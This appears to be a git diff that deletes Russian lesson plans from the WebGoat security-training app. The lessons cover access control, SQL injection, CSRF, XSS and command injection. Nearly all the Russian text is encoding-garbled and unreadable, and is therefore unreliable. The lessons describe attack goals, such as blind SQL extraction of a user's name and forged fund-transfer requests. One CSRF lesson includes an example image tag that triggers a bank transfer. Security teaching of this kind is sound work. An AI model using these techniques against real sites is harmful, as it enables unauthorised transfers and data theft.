- -Ð’ Ñхемах оÑнованных на ролÑÑ… Ñама роль предÑтавлÑет из ÑÐµÐ±Ñ Ð½Ð°Ð±Ð¾Ñ€ разрешений доÑтупа и привилегий. -Пользователю одновременно может быть приÑвоена одна или более ролей. -Подобные Ñхемы чаще вÑего включают в ÑÐµÐ±Ñ Ð´Ð²Ð° механизма: механизм работы Ñ Ñ€Ð°Ð·Ñ€ÐµÑˆÐµÐ½Ð¸Ñми доÑтупа и -механизм Ð½Ð°Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð¸Ð²Ð¸Ð»ÐµÐ³Ð¸Ð¹. Ð’ ÑлучаÑÑ… когда Ñ€ÐµÐ°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð´Ð°Ð½Ð½Ð¾Ð¹ Ñхемы имеет какие-то изъÑны пользователь может получить -доÑтуп к функционалу, к которому ему обращатьÑÑ Ð½Ðµ разрешено. Или он может каким-либо образом повыÑить Ñвои -привилегии в приложении. -

ОÑновные цели и задачи:

-Каждый пользователь имеет Ñвою роль(и), наличие которой позволÑет ему получать доÑтуп к Ñтрого определённым реÑурÑам. -Вашей целью ÑвлÑетÑÑ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ðµ механизма Ñ€Ð°Ð·Ð³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð´Ð¾Ñтупа на данном Ñайте и поиÑк в нём изъÑнов. -Только пользователи из группы [Admin] должны иметь доÑтуп к разделу ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð°ÐºÐºÐ°ÑƒÐ½Ñ‚Ð°Ð¼Ð¸. - diff --git a/src/main/webapp/lesson_plans/ru/BackDoors.html b/src/main/webapp/lesson_plans/ru/BackDoors.html deleted file mode 100644 index 0769f43b2..000000000 --- a/src/main/webapp/lesson_plans/ru/BackDoors.html +++ /dev/null @@ -1,23 +0,0 @@ -
-

Ðазвание урока: Как оÑущеÑтвлÑетÑÑ Ð¿Ð¾Ð¼ÐµÑ‰ÐµÐ½Ð¸Ðµ вредоноÑных конÑтрукций в БД.

-
- -

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

-Помещение вредоноÑных конÑтрукций в БД -
-
-

-Как работает данный вид атаки: -

-База данных обычно иÑпользуетÑÑ ÐºÐ°Ðº backend веб-приложений в качеÑтве хранилища важных данных. Ð’ процеÑÑе атаки злоумышленник -может помещать в неё различные вредоноÑные конÑтрукции, например опаÑные триггеры. Триггеры вызываютÑÑ -каждый раз при выполнении базой определённой операции (выборка, вÑтавка, обновление данных и Ñ‚.д.). Ðапример атакующий -может Ñоздать триггер который будет у вÑех региÑтрирующихÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÐµÐ¹ менÑть почтовые адреÑа на подконтрольный ему email. -
-

ОÑÐ½Ð¾Ð²Ð½Ð°Ñ Ñ†ÐµÐ»ÑŒ(и):

- -* Ð’Ñ‹ должны понÑть как Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ ÑкÑплуатации уÑзвимого запроÑа Ñоздать триггер -* У Ð²Ð°Ñ Ð½Ðµ получитÑÑ Ñоздать в данном приложении наÑтоÑщий вредоноÑный триггер Ñ‚.к. БД иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÐµÐ¼Ð°Ñ WebGoat`ом не поддерживает триггеров. -* Ваш ID Ð´Ð»Ñ Ð²Ñ…Ð¾Ð´Ð° - 101. - - diff --git a/src/main/webapp/lesson_plans/ru/BasicAuthentication.html b/src/main/webapp/lesson_plans/ru/BasicAuthentication.html deleted file mode 100644 index fe1d9afeb..000000000 --- a/src/main/webapp/lesson_plans/ru/BasicAuthentication.html +++ /dev/null @@ -1,16 +0,0 @@ -
-

Ðазвание урока: ОÑÐ½Ð¾Ð²Ð½Ð°Ñ Ð°ÑƒÑ‚ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ†Ð¸Ñ

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -ОÑÐ½Ð¾Ð²Ð½Ð°Ñ Ð°ÑƒÑ‚ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ†Ð¸Ñ Ð¸ÑпользуетÑÑ Ð´Ð»Ñ Ð·Ð°Ñ‰Ð¸Ñ‚Ñ‹ реÑурÑов раÑположенных на Ñтороне Ñервера. -При получении запроÑа от Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð²ÐµÐ±-Ñервер отправлÑет ему ответ Ñ ÐºÐ¾Ð´Ð¾Ð¼ 401. -Получив его браузер запрашивает у Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð»Ð¾Ð³Ð¸Ð½ и пароль в Ñпециальном диалоговом окне. ПоÑле -ввода браузер кодирует полученные данные по алгоритму base64 и отÑылает веб-Ñерверу. -ПоÑледний, в Ñвою очередь, проверÑет полученную информацию и, еÑли вÑÑ‘ правильно, отдаёт клиенту запрашиваемый -документ. Указанные пользователем данные далее автоматичеÑки отÑылаютÑÑ Ð±Ñ€Ð°ÑƒÐ·ÐµÑ€Ð¾Ð¼ при каждом обращении к -защищённым реÑурÑам. - -

ОÑÐ½Ð¾Ð²Ð½Ð°Ñ Ñ†ÐµÐ»ÑŒ(и):

-Ðа Ñтом уроке вашей целью ÑвлÑетÑÑ Ð¿Ð¾Ð½Ð¸Ð¼Ð°Ð½Ð¸Ðµ механизмов оÑновной аутентификации и ответ на вопроÑÑ‹ которые находÑÑ‚ÑÑ Ð½Ð¸Ð¶Ðµ. - diff --git a/src/main/webapp/lesson_plans/ru/BlindSqlInjection.html b/src/main/webapp/lesson_plans/ru/BlindSqlInjection.html deleted file mode 100644 index 629a396cc..000000000 --- a/src/main/webapp/lesson_plans/ru/BlindSqlInjection.html +++ /dev/null @@ -1,25 +0,0 @@ -
-

Ðазвание темы: ИÑпользование Ñлепых SQL-инъекций

-
- -

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -SQL-инъекции предÑтавлÑÑŽÑ‚ Ñерьёзную опаÑноÑть Ð´Ð»Ñ Ñайтов, Ñ‡ÑŒÑ Ñ€Ð°Ð±Ð¾Ñ‚Ð° оÑновываетÑÑ Ð½Ð° БД. -Методы оÑущеÑÑ‚Ð²Ð»ÐµÐ½Ð¸Ñ Ñ‚Ð°ÐºÐ¸Ñ… атак очень проÑты в оÑвоении и ущерб наноÑимый ими Ð½ÐµÐ»ÑŒÐ·Ñ Ð½ÐµÐ´Ð¾Ð¾Ñ†ÐµÐ½Ð¸Ð²Ð°Ñ‚ÑŒ Ñ‚.к. злоумышленник -Ñ Ð¸Ñ… помощью в некоторых ÑлучаÑÑ… может добитьÑÑ Ð¿Ð¾Ð»Ð½Ð¾Ð¹ компрометации ÑиÑтемы. -ÐеÑÐ¼Ð¾Ñ‚Ñ€Ñ Ð½Ð° вÑÑŽ опаÑноÑть SQL-инъекций каждый день поÑвлÑетÑÑ Ð¼Ð½Ð¾Ð¶ÐµÑтво уÑзвимых к ним веб-приложений. -
-Ðа Ñамом деле ÑÐµÐ¹Ñ‡Ð°Ñ Ð¾Ð¿Ð°ÑноÑть данного вида уÑзвимоÑтей Ñильно преувеличивают. ЕÑть множеÑтво ÑпоÑобов Ð±Ð»Ð°Ð³Ð¾Ð´Ð°Ñ€Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ð¼ -любой разработчик практичеÑки полноÑтью может защитить Ñвоё приложение от них. -Вообще проверка вÑех входÑщих данных ÑвлÑетÑÑ Ð¾Ñ‡ÐµÐ½ÑŒ хорошей практикой не только при работе Ñ Ð‘Ð”, но и -в ÑлучаÑÑ… Ñ Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸ÐµÐ¼ команд ОС, Ñкриптов и Ñ‚.д. -
- - -

Ð“Ð»Ð°Ð²Ð½Ð°Ñ Ñ†ÐµÐ»ÑŒ(и):

-Форма, раÑÐ¿Ð¾Ð»Ð¾Ð¶ÐµÐ½Ð½Ð°Ñ Ð½Ð¸Ð¶Ðµ, позволÑет пользователю вводить номер аккаунта и проверÑть дейÑтвителен он или нет. -ВоÑпользуйтеÑÑŒ данной формой Ð´Ð»Ñ Ñ‚Ð¾Ð³Ð¾ чтоб через уÑзвимоÑть на Ñтороне Ñервера получить -возможноÑть извлекать произвольные данные из БД. -

Ascii-Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ñимволов которые могут вам понадобитьÑÑ: 'A' = 65 'Z' = 90 'a' = 97 'z' = 122 -

Целью ÑвлÑетÑÑ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ðµ Ñодержимого Ð¿Ð¾Ð»Ñ first_name в таблице user_data Ð´Ð»Ñ Ð·Ð°Ð¿Ð¸Ñи Ñ Ð½Ð¾Ð¼ÐµÑ€Ð¾Ð¼ 15613. -ПомеÑтите его Ð¸Ð¼Ñ Ð² Ñту форму Ð´Ð»Ñ Ñ‚Ð¾Ð³Ð¾ чтоб закончить урок. diff --git a/src/main/webapp/lesson_plans/ru/BufferOverflow.html b/src/main/webapp/lesson_plans/ru/BufferOverflow.html deleted file mode 100644 index 272298787..000000000 --- a/src/main/webapp/lesson_plans/ru/BufferOverflow.html +++ /dev/null @@ -1,9 +0,0 @@ -
-

Ðазвание урока: ЭкÑÐ¿Ð»ÑƒÐ°Ñ‚Ð°Ñ†Ð¸Ñ ÑƒÑзвимоÑтей Ð¿ÐµÑ€ÐµÐ¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ Ð±ÑƒÑ„Ñ„ÐµÑ€Ð°

-
- -

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

-Как проводить ÑкÑплуатацию уÑзвимоÑтей Ð¿ÐµÑ€ÐµÐ¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ Ð±ÑƒÑ„Ñ„ÐµÑ€Ð°. -

ОÑновные цели и задачи:

-Ð”Ð»Ñ Ð´Ð°Ð½Ð½Ð¾Ð³Ð¾ урока требуетÑÑ Ð°Ð²Ñ‚Ð¾Ñ€. - \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/CSRF.html b/src/main/webapp/lesson_plans/ru/CSRF.html deleted file mode 100644 index 47e23b65e..000000000 --- a/src/main/webapp/lesson_plans/ru/CSRF.html +++ /dev/null @@ -1,40 +0,0 @@ -
-

Ðазвание урока: Проведение атак межÑайтовой подделки запроÑов.

-
- -

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

-Ðа данном уроке вы научитеÑÑŒ иÑпользовать уÑзвимоÑти межÑайтовой подделки запроÑов (CSRF). -
-
-

-Как работает данный тип атак: -

-При проведении атак межÑайтовой подделки запроÑов жертву заÑтавлÑÑŽÑ‚ каким-либо образом -загрузить Ñтраницу Ñодержащую опаÑную картинку, типа той что предÑтавлена ниже: - -
<img src="http://www.mybank.com/sendFunds.do?acctId=123456"/>
- -Когда браузер жертвы обрабатывает такую Ñтраницу, он автоматичеÑки Ñовершает обращение -к Ñайту www.mybank.com, к Ñкрипту transferFunds.do Ð¿ÐµÑ€ÐµÐ´Ð°Ð²Ð°Ñ Ð½ÐµÐ¾Ð±Ñ…Ð¾Ð´Ð¸Ð¼Ñ‹Ð¹ злоумышленнику параметр. -Браузер будет думать что Ñто проÑтое изображение, тогда как на Ñамом деле обращение к Ñтому -адреÑу вызовет перевод денег. - -ВмеÑте Ñ Ð·Ð°Ð¿Ñ€Ð¾Ñом, уходÑщим на Ñайт банка, будут переданы и cookies клиента. Следовательно, -еÑли в Ñтот момент пользователь будет авторизирован на www.mybank.com, и в его cookies будет хранитÑÑ -идентификатор активной ÑеÑÑии, Ñкрипт transferFunds.do примет Ñтот Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð·Ð° легитимный и -Ñовершит необходимую злоумышленнику операцию. - -Таким образом, атакующий может производить практичеÑки вÑе дейÑтвиÑ, которые ÑпоÑобен делать -наÑтоÑщий пользователь. -
-

ОÑновные цели и задачи:

- -Ваша цель - поÑлать в новоÑтную группу пиÑьмо, Ñодержащее в Ñебе изображение Ñо -Ñпециально Ñформированным адреÑом. Картинка должна иметь размер 1*1px и производить -CSRF-атаку, заÑтавлÑÑ Ð±Ñ€Ð°ÑƒÐ·ÐµÑ€ обращатьÑÑ Ðº текущей Ñтранице, но Ñ Ð´Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ñ‹Ð¼ параметром -в URL - "transferFunds=4000". Когда вы отошлёте Ñообщение и оно отобразитÑÑ Ð½Ð° Ñкране, -браузер автоматичеÑки оÑущеÑтвит необходимый запроÑ. Как только вы решили что выполнили Ñто задание -проÑто обновите Ñтраницу. ЕÑли вÑÑ‘ Ñделано верно, то в главном меню, на против ÑоответÑтвующего урока, -поÑвитÑÑ Ð·ÐµÐ»Ñ‘Ð½Ð°Ñ Ð¾Ñ‚Ð¼ÐµÑ‚ÐºÐ°. - - diff --git a/src/main/webapp/lesson_plans/ru/ChallengeScreen.html b/src/main/webapp/lesson_plans/ru/ChallengeScreen.html deleted file mode 100644 index b3d9b3321..000000000 --- a/src/main/webapp/lesson_plans/ru/ChallengeScreen.html +++ /dev/null @@ -1,7 +0,0 @@ -
-

Lesson Plan Title: Putting it all together

-

-

Concept / Topic To Teach:

-This lesson creates a challenge that will help the student apply all that they have learned.
-General Goal(s):
-Display the secret message. \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/ClientSideFiltering.html b/src/main/webapp/lesson_plans/ru/ClientSideFiltering.html deleted file mode 100644 index 1fa409480..000000000 --- a/src/main/webapp/lesson_plans/ru/ClientSideFiltering.html +++ /dev/null @@ -1,11 +0,0 @@ -
-

Ðазвание урока: Ð¤Ð¸Ð»ÑŒÑ‚Ñ€Ð°Ñ†Ð¸Ñ Ð´Ð°Ð½Ð½Ñ‹Ñ… на Ñтороне клиента

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -Ð’Ñегда ÑчитаетÑÑ Ñ…Ð¾Ñ€Ð¾ÑˆÐµÐ¹ практикой отправлÑть на Ñторону клиента только ту информацию, доÑтуп к которой он имеет. -Ð’ данном уроке на Ñторону клиента будет отправлено очень много информации, что ÑоздаÑÑ‚ Ñерьёзные проблемы Ñ ÐºÐ¾Ð½Ñ‚Ñ€Ð¾Ð»ÐµÐ¼ доÑтупа к ней. - -

ОÑновные цели и задачи:

-Ваша цель ÑоÑтоит в том, чтоб Ñреди принимаемых Ñо Ñтороны Ñервера данных найти ту -информацию, доÑтупа к которой у Ð²Ð°Ñ Ð½ÐµÑ‚. diff --git a/src/main/webapp/lesson_plans/ru/ClientSideValidation.html b/src/main/webapp/lesson_plans/ru/ClientSideValidation.html deleted file mode 100644 index ccc490f83..000000000 --- a/src/main/webapp/lesson_plans/ru/ClientSideValidation.html +++ /dev/null @@ -1,14 +0,0 @@ -
-

Ðазвание урока: Insecure Client Storage

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -Хорошей практикой ÑвлÑетÑÑ Ð¿Ñ€Ð¾Ð²ÐµÑ€ÐºÐ° на Ñтороне Ñервера абÑолютно вÑех принимаемых данных. -Ð ÐµÐ°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð¼ÐµÑ…Ð°Ð½Ð¸Ð·Ð¼Ð¾Ð² проверки только на Ñтороне клиента делает приложение уÑзвимым. -Запомните, вÑÑ‘ что отправлÑетÑÑ Ð½Ð° Ñторону клиента не должно Ñодержать критичеÑки важных -данных или механизмов. - -

ОÑновные цели:

-Ð’ данном упражнении Ð¿ÐµÑ€Ð²Ð°Ñ Ð²Ð°ÑˆÐ° задача - обнаружить дейÑтвующий код купона обеÑпечивающего Ñкидку. -Далее необходимо иÑÑледовать механизм проверки вводимых данных и добитьÑÑ Ð¿Ð¾ÐºÑƒÐ¿ÐºÐ¸ товара за нулевую цену. - diff --git a/src/main/webapp/lesson_plans/ru/CommandInjection.html b/src/main/webapp/lesson_plans/ru/CommandInjection.html deleted file mode 100644 index f30ac8a45..000000000 --- a/src/main/webapp/lesson_plans/ru/CommandInjection.html +++ /dev/null @@ -1,18 +0,0 @@ -
-

Ðазвание урока: ИÑпользование инъекций команд

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -Ðтаки клаÑÑа "Ð˜Ð½ÑŠÐµÐºÑ†Ð¸Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´" предÑтавлÑÑŽÑ‚ Ñобой Ñерьёзную угрозу Ð´Ð»Ñ Ñайтов принимающих -от пользователей какие-либо данные. Методика их иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð´Ð¾Ñтаточно тривиальна, но в тоже -Ð²Ñ€ÐµÐ¼Ñ Ð¾Ð½Ð¸ могут приводить к полной компрометации атакованной ÑиÑтемы. ÐеÑÐ¼Ð¾Ñ‚Ñ€Ñ Ð½Ð° Ñто количеÑтво -приложений имеющих подобные уÑзвимоÑти неуклонно раÑтёт.
-Ðа Ñамом деле подобные угрозы могут быть полноÑтью уÑтранены Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ принÑÑ‚Ð¸Ñ Ñ€Ð°Ð·Ñ€Ð°Ð±Ð¾Ñ‚Ñ‡Ð¸ÐºÐ°Ð¼Ð¸ -проÑтейших мер направленных на обеÑпечение безопаÑноÑти приложениÑ. Ð’ данном уроке -будет продемонÑтрированно множеÑтво примеров Ð¿Ñ€Ð¾Ð²ÐµÐ´ÐµÐ½Ð¸Ñ Ð¸Ð½ÑŠÐµÐºÑ†Ð¸Ð¹ через поÑтупающие -из вне параметры.
-Запомните что проверка вÑех получаемых от Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð´Ð°Ð½Ð½Ñ‹Ñ…, оÑобенно тех, которые будут иÑпользоватьÑÑ -в командах ОС, Ñкриптах или запроÑах к БД, ÑвлÑетÑÑ Ñ…Ð¾Ñ€Ð¾ÑˆÐµÐ¹ практикой
- -

ОÑновные цели и задачи:

-Попробуйте найти уÑзвимоÑть через которую можно выполнить какую-нибудь команду операционной ÑиÑтемы. \ No newline at end of file diff --git a/src/main/webapp/lesson_plans/ru/ConcurrencyCart.html b/src/main/webapp/lesson_plans/ru/ConcurrencyCart.html deleted file mode 100644 index 1ddbda659..000000000 --- a/src/main/webapp/lesson_plans/ru/ConcurrencyCart.html +++ /dev/null @@ -1,31 +0,0 @@ - - - - - - План урока - - - -
-

Ðазвание урока: УÑзвимоÑть при одновременной работе Ñ Ñ‚Ð¾Ð²Ð°Ñ€Ð½Ð¾Ð¹ корзиной

-
- -

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -Веб-Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð¼Ð¾Ð³ÑƒÑ‚ обрабатывать множеÑтво HTTP-запроÑов одновременно. -ЧаÑто разработчики иÑпользуют конÑтрукции не приÑпоÑобленные к многопоточной работе, и -Ñто Ñоздаёт возможноÑть иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¾ÑˆÐ¸Ð±Ð¾Ðº ÑвÑзанных Ñ Ð¾Ð´Ð½Ð¾Ð²Ñ€ÐµÐ¼ÐµÐ½Ð½Ñ‹Ð¼Ð¸ обращениÑми. -Ðапример когда одна и та же Ñтраница открываетÑÑ Ð¾Ð´Ð½Ð¾Ð²Ñ€ÐµÐ¼ÐµÐ½Ð½Ð¾ разными пользователÑми и один их них видит -на ней данные другого. -Под приÑпоÑобленноÑтью к многопоточной работе подразумеваетÑÑ ÑпоÑобноÑть полей клаÑÑов и объектов -вÑегда находитьÑÑ Ð² верном ÑоÑтоÑнии при выполнении множеÑтва одних и тех же операций вызываемых -разными потоками. ПоÑкольку вÑе потоки иÑпользуют одно и то же рабочее проÑтранÑтво вызываемых методов, и в данном -проÑтранÑтве хранÑÑ‚ÑÑ Ð´Ð°Ð½Ð½Ñ‹Ðµ вÑех ÑвойÑтв отдельно взÑтых клаÑÑов, то множеÑтвенные одновременные попытки -обращений к ним могут привеÑти к неожиданным результатам.
- -

ОÑновные цели:

-Ваша цель - проÑкÑплуатировать уÑзвимоÑть Ñтого типа Ð´Ð»Ñ Ñ‚Ð¾Ð³Ð¾ чтоб получить возможноÑть покупать товары по заниженной цене. -
- - diff --git a/src/main/webapp/lesson_plans/ru/CrossSiteScripting.html b/src/main/webapp/lesson_plans/ru/CrossSiteScripting.html deleted file mode 100644 index 1784101e1..000000000 --- a/src/main/webapp/lesson_plans/ru/CrossSiteScripting.html +++ /dev/null @@ -1,21 +0,0 @@ -
-

Ðазвание урока: Как проводить атаки межÑайтового Ñкриптинга (XSS)

-
-

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

- -Хорошей практикой вÑегда ÑчиталаÑÑŒ очиÑтка вÑех входÑщих данных, оÑобенно когда -их Ñодержимое будут иÑпользовано в качеÑтве команд ОС, Ñкриптов или запроÑов к -БД. Это важно и Ð´Ð»Ñ Ñ‚ÐµÑ… данных, которые будут Ñохранены где-то -внутри приложениÑ. ПоÑетители не должны иметь возможноÑть публикации на Ñайте -таких Ñообщений, которые могут изменÑть Ñтруктуру Ñтраницы при их проÑмотре. -
-XSS также может возникнуть когда Ð²Ð²ÐµÐ´Ñ‘Ð½Ð½Ð°Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÐµÐ¼ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ñразу же, -без вÑÑчеÑких проверок, помещаетÑÑ Ð² HTTP-запроÑ, но не ÑохранÑетÑÑ Ð²Ð½ÑƒÑ‚Ñ€Ð¸ Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ -(отражаемые XSS). Ð’ таких ÑлучаÑÑ… нападающий может Ñформировать URL, Ñодержащий в Ñебе -вредоноÑный код и передать его жертве(ам) через Ñторонний веб-Ñайт, почту или любым другим ÑпоÑобом. - -

ОÑновные цели и задачи:

-Ðа данном уроке вы научитеÑÑŒ иÑпользовать хранимые и отражаемые XSS-уÑзвимоÑти. -Ð’ конце вам придётÑÑ Ð²Ð½ÐµÑти Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ð² код Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ ÑƒÑÑ‚Ñ€Ð°Ð½ÐµÐ½Ð¸Ñ Ð´Ð°Ð½Ð½Ñ‹Ñ… уÑзвимоÑтей. -
- diff --git a/src/main/webapp/lesson_plans/ru/CsrfPromptByPass.html b/src/main/webapp/lesson_plans/ru/CsrfPromptByPass.html deleted file mode 100644 index 3223bc3cb..000000000 --- a/src/main/webapp/lesson_plans/ru/CsrfPromptByPass.html +++ /dev/null @@ -1,31 +0,0 @@ -
-

Ðазвание урока:CSRF, обход мезанизмов подтверждений


-
- -

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

-Ðа данном уроке вы научитеÑÑŒ проводить CSRF-Ð½Ð°Ð¿Ð°Ð´ÐµÐ½Ð¸Ñ Ð² обход механизмов Ð¿Ð¾Ð´Ñ‚Ð²ÐµÑ€Ð¶Ð´ÐµÐ½Ð¸Ñ Ð¾Ð¿ÐµÑ€Ð°Ñ†Ð¸Ð¹. -
-
-

-Как работает данный клаÑÑ Ð°Ñ‚Ð°Ðº: -

-CSRF ÑвлÑетÑÑ Ñ‚Ð°ÐºÐ¸Ð¼ видом атак, при проведении которых браузер жертвы, без её ведома, отправлÑет -на целевой Ñайт запроÑÑ‹ нужные злоумышленнику. Иногда, при проведении важных операций, Ñервер может -запроÑить у Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð¸Ñ… подтверждение. Этот ход может показатьÑÑ Ñ€ÐµÑˆÐµÐ½Ð¸ÐµÐ¼ проблем ÑвÑзанных Ñ CSRF, -но только не в ÑлучаÑÑ… когда подтверждение реализовано ÑредÑтвами JavaScript. Ðа данном уроке вы научитеÑÑŒ -обходить такие варианты подтверждений, как одиночных, так и многочиÑленных. Решением будет ÑвлÑтьÑÑ Ñ‚Ð° же поÑылка -поддельных запроÑов, но уже не одного, а неÑкольких. -

- - -
-

Цели и задачи:

- -Как и в прошлом уроке, вашей целью ÑвлÑетÑÑ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ° Ñлектронного пиÑьма в новоÑтную группу. ПиÑьмо, при проÑмотре, -должно вызывать отправку неÑкольких поддельных запроÑов: первый на оÑущеÑтвление денежного перевода, второй на -его подтверждение. Сначала URL, по которому будет произведено обращение, должен Ñодержать параметр "transferFunds", -равный "4000", затем его же, но Ñо значением "CONFIRM". ПоÑле того как Ñообщение отобразитÑÑ Ð½Ð° Ñкране, браузер любого -кто его увидит Ñам Ñделает вÑÑ‘ что нужно. Ð’ конце работы обновите текущую Ñтраницу. ЕÑли задание выполнено верно, то в -главном меню, на против Ñтого урока, поÑвитÑÑ Ð·ÐµÐ»Ñ‘Ð½Ð°Ñ Ð¾Ñ‚Ð¼ÐµÑ‚ÐºÐ°. - - diff --git a/src/main/webapp/lesson_plans/ru/CsrfTokenByPass.html b/src/main/webapp/lesson_plans/ru/CsrfTokenByPass.html deleted file mode 100644 index f2e0de169..000000000 --- a/src/main/webapp/lesson_plans/ru/CsrfTokenByPass.html +++ /dev/null @@ -1,41 +0,0 @@ -
-

Ðазвание урока:Обход CSRF-защиты оÑнованной на токенах


-
- -

Тема Ð´Ð»Ñ Ð¸Ð·ÑƒÑ‡ÐµÐ½Ð¸Ñ:

-Ðа данном уроке вы научитеÑÑŒ оÑущеÑтвлÑть CSRF-Ð½Ð°Ð¿Ð°Ð´ÐµÐ½Ð¸Ñ Ð½Ð° Ñайты, иÑпользующие токены в качеÑтве защиты -от CSRF-атак. -
-
-

-Как работают Ñти атаки: -

-

-CSRF-атаки заÑтавлÑÑŽÑ‚ браузер жертвы оÑущеÑтвлÑть необходимые злоумышленнику запроÑÑ‹ -к целевому Ñерверу в невидимом режиме. Это позволÑет атакующему вызывать выполнение различных операций -от лица атакованного Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ñ ÐµÐ³Ð¾ правами и привилегиÑми.

- -

ÐÑƒÑ‚ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ†Ð¸Ñ Ð·Ð°Ð¿Ñ€Ð¾Ñов принимаемых от поÑетителей, оÑÐ½Ð¾Ð²Ð°Ð½Ð½Ð°Ñ Ð½Ð° уникальных токенах, предотвращает -возможноÑть CSRF-нападений. При иÑпользовании данной техники, при отправке важного запроÑа, Ñерверу -передаётÑÑ ÑƒÐ½Ð¸ÐºÐ°Ð»ÑŒÐ½Ñ‹Ð¹ Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ клиента токен, наличие которого подтверждает его легитимноÑть. -Проект OWASP CSRFGuard как раз иÑпользует такой подход, позволÑÑ Ð·Ð°Ñ‰Ð¸Ñ‚Ð¸Ñ‚ÑŒ Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð¾Ñ‚ CSRF-нападений. -

- -

-Тем не менее, данный вид защиты можно обойти. Ð”Ð»Ñ Ñтого доÑтаточно обнаружить на атакуемом Ñайте XSS-уÑзвимоÑть. -Её наличие поможет отправлÑть запроÑÑ‹ от имени жертвы, ведь ÑиÑтемы безопаÑноÑти вÑех браузеров, -оÑнованных на политике одного иÑточника, не запрещают обращатьÑÑ Ðº текущему домену. -

- -
-

ОÑновные цели и задачи:

- -Как и в прошлом уроке, вашей целью ÑвлÑетÑÑ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ° пиÑьма в новоÑтную группу Ð´Ð»Ñ Ð²Ñ‹Ð·Ð¾Ð²Ð° нелегитимного -перевода денег. Ð”Ð»Ñ ÐµÑ‘ доÑÑ‚Ð¸Ð¶ÐµÐ½Ð¸Ñ Ð²Ð°Ð¼ необходимо узнать дейÑтвующий токен. Он находитÑÑ Ð² коде Ñтраницы на -которой раÑположена форма перевода денег. Ð”Ð»Ñ Ñ‚Ð¾Ð³Ð¾ чтоб увидеть форму, необходимо к текущему URL -допиÑать параметр "transferFunds=main". Загрузите Ñту Ñтраницу, Ñчитайте оттуда значение токена и оÑущеÑтвите перевод. -Ð’ конце работы обновите текущую Ñтраницу. ЕÑли задание выполнено верно, то в главном меню, на против Ñтого урока, -поÑвитÑÑ Ð·ÐµÐ»Ñ‘Ð½Ð°Ñ Ð¾Ñ‚Ð¼ÐµÑ‚ÐºÐ°. - - - diff --git a/src/main/webapp/lesson_plans/ru/DBCrossSiteScripting.html 